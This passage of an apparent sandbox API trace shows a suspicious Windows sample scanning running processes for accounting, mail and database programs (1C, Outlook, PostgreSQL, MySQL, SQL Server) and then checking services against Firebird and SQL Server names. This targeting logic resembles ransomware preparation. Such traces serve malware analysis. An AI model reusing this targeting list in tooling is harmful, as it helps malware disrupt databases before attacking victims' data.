(lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0256.998] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0256.998] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0256.998] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.999] lstrlenW (lpString="lsass.exe") returned 9 [0256.999] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0256.999] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0256.999] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0256.999] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0256.999] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0256.999] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0256.999] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0256.999] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0256.999] lstrlenW (lpString="lsm.exe") returned 7 [0256.999] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0256.999] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0256.999] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0256.999] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0256.999] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0256.999] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0256.999] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0256.999] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.000] lstrlenW (lpString="svchost.exe") returned 11 [0257.000] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0257.000] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0257.000] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0257.000] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0257.000] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0257.000] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0257.000] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0257.000] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.000] lstrlenW (lpString="svchost.exe") returned 11 [0257.000] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0257.000] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0257.001] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0257.001] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0257.001] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0257.001] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0257.001] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0257.001] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.001] lstrlenW (lpString="svchost.exe") returned 11 [0257.001] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0257.001] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0257.001] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0257.001] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0257.001] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0257.001] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0257.001] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0257.001] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.001] lstrlenW (lpString="svchost.exe") returned 11 [0257.002] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.002] lstrlenW (lpString="svchost.exe") returned 11 [0257.002] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0257.002] lstrlenW (lpString="audiodg.exe") returned 11 [0257.002] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.002] lstrlenW (lpString="svchost.exe") returned 11 [0257.002] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.003] lstrlenW (lpString="svchost.exe") returned 11 [0257.003] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0257.003] lstrlenW (lpString="userinit.exe") returned 12 [0257.003] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0257.003] lstrlenW (lpString="dwm.exe") returned 7 [0257.003] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0257.004] lstrlenW (lpString="explorer.exe") returned 12 [0257.004] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0257.004] lstrlenW (lpString="spoolsv.exe") returned 11 [0257.004] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0257.004] lstrlenW (lpString="taskhost.exe") returned 12 [0257.004] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.005] lstrlenW (lpString="svchost.exe") returned 11 [0257.005] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0257.005] lstrlenW (lpString="uyuquk.exe") returned 10 [0257.005] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0257.005] lstrlenW (lpString="reader_sl.exe") returned 13 [0257.005] Process32NextW (in: hSnapshot=0x20c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0257.006] CloseHandle (hObject=0x20c) returned 1 [0257.006] Sleep (dwMilliseconds=0x1f4) [0257.519] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aea08 [0257.534] EnumServicesStatusExW (in: hSCManager=0x42aea08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0257.534] GetLastError () returned 0xea [0257.534] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x4232878 [0257.534] EnumServicesStatusExW (in: hSCManager=0x42aea08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0257.535] CloseServiceHandle (hSCObject=0x42aea08) returned 1 [0257.535] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0257.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.535] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0257.535] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0257.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0257.535] lstrlenW (lpString="AudioSrv") returned 8 [0257.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0257.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0257.535] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0257.535] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0257.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0257.535] lstrlenW (lpString="BFE") returned 3 [0257.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0257.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0257.535] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0257.535] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0257.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0257.535] lstrlenW (lpString="CryptSvc") returned 8 [0257.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0257.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0257.535] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0257.535] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0257.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0257.536] lstrlenW (lpString="CscService") returned 10 [0257.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0257.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0257.536] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0257.536] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0257.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0257.536] lstrlenW (lpString="DcomLaunch") returned 10 [0257.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.536] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0257.536] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0257.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0257.536] lstrlenW (lpString="Dhcp") returned 4 [0257.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0257.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0257.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0257.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0257.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0257.536] lstrlenW (lpString="Dnscache") returned 8 [0257.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0257.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0257.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0257.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0257.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0257.536] lstrlenW (lpString="DPS") returned 3 [0257.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0257.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0257.536] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0257.536] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0257.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0257.536] lstrlenW (lpString="eventlog") returned 8 [0257.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0257.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0257.536] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0257.537] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0257.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0257.537] lstrlenW (lpString="EventSystem") returned 11 [0257.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0257.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0257.537] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0257.537] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0257.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0257.537] lstrlenW (lpString="gpsvc") returned 5 [0257.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0257.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0257.537] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0257.537] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0257.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0257.537] lstrlenW (lpString="LanmanWorkstation") returned 17 [0257.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.537] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0257.537] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0257.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0257.537] lstrlenW (lpString="lmhosts") returned 7 [0257.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0257.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0257.537] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0257.537] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0257.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0257.537] lstrlenW (lpString="MMCSS") returned 5 [0257.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0257.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0257.537] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0257.537] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0257.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0257.537] lstrlenW (lpString="MpsSvc") returned 6 [0257.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0257.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0257.538] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0257.538] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0257.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0257.538] lstrlenW (lpString="NlaSvc") returned 6 [0257.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0257.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0257.538] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0257.538] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0257.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0257.538] lstrlenW (lpString="nsi") returned 3 [0257.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0257.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0257.538] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0257.538] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0257.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0257.538] lstrlenW (lpString="PcaSvc") returned 6 [0257.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0257.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0257.538] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0257.538] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0257.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0257.538] lstrlenW (lpString="PlugPlay") returned 8 [0257.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0257.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0257.538] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0257.538] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0257.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0257.538] lstrlenW (lpString="Power") returned 5 [0257.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0257.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0257.538] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0257.538] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0257.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0257.538] lstrlenW (lpString="ProfSvc") returned 7 [0257.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0257.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0257.539] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0257.539] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0257.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0257.539] lstrlenW (lpString="RpcEptMapper") returned 12 [0257.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.539] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0257.539] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0257.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0257.539] lstrlenW (lpString="RpcSs") returned 5 [0257.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0257.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0257.539] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0257.539] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0257.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0257.539] lstrlenW (lpString="SamSs") returned 5 [0257.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0257.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0257.539] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0257.539] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0257.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0257.539] lstrlenW (lpString="Schedule") returned 8 [0257.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0257.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0257.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0257.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0257.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0257.539] lstrlenW (lpString="SENS") returned 4 [0257.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0257.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0257.539] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0257.539] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0257.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0257.539] lstrlenW (lpString="ShellHWDetection") returned 16 [0257.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.540] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0257.540] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0257.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0257.540] lstrlenW (lpString="Spooler") returned 7 [0257.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0257.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0257.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0257.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0257.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0257.540] lstrlenW (lpString="SysMain") returned 7 [0257.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0257.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0257.540] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0257.540] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0257.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0257.540] lstrlenW (lpString="Themes") returned 6 [0257.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0257.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0257.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0257.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0257.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0257.540] lstrlenW (lpString="TrkWks") returned 6 [0257.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0257.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0257.540] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0257.540] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0257.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0257.540] lstrlenW (lpString="UxSms") returned 5 [0257.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0257.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0257.540] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0257.540] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0257.540] lstrcmpiW (lpString1="sqlserveradhelper", 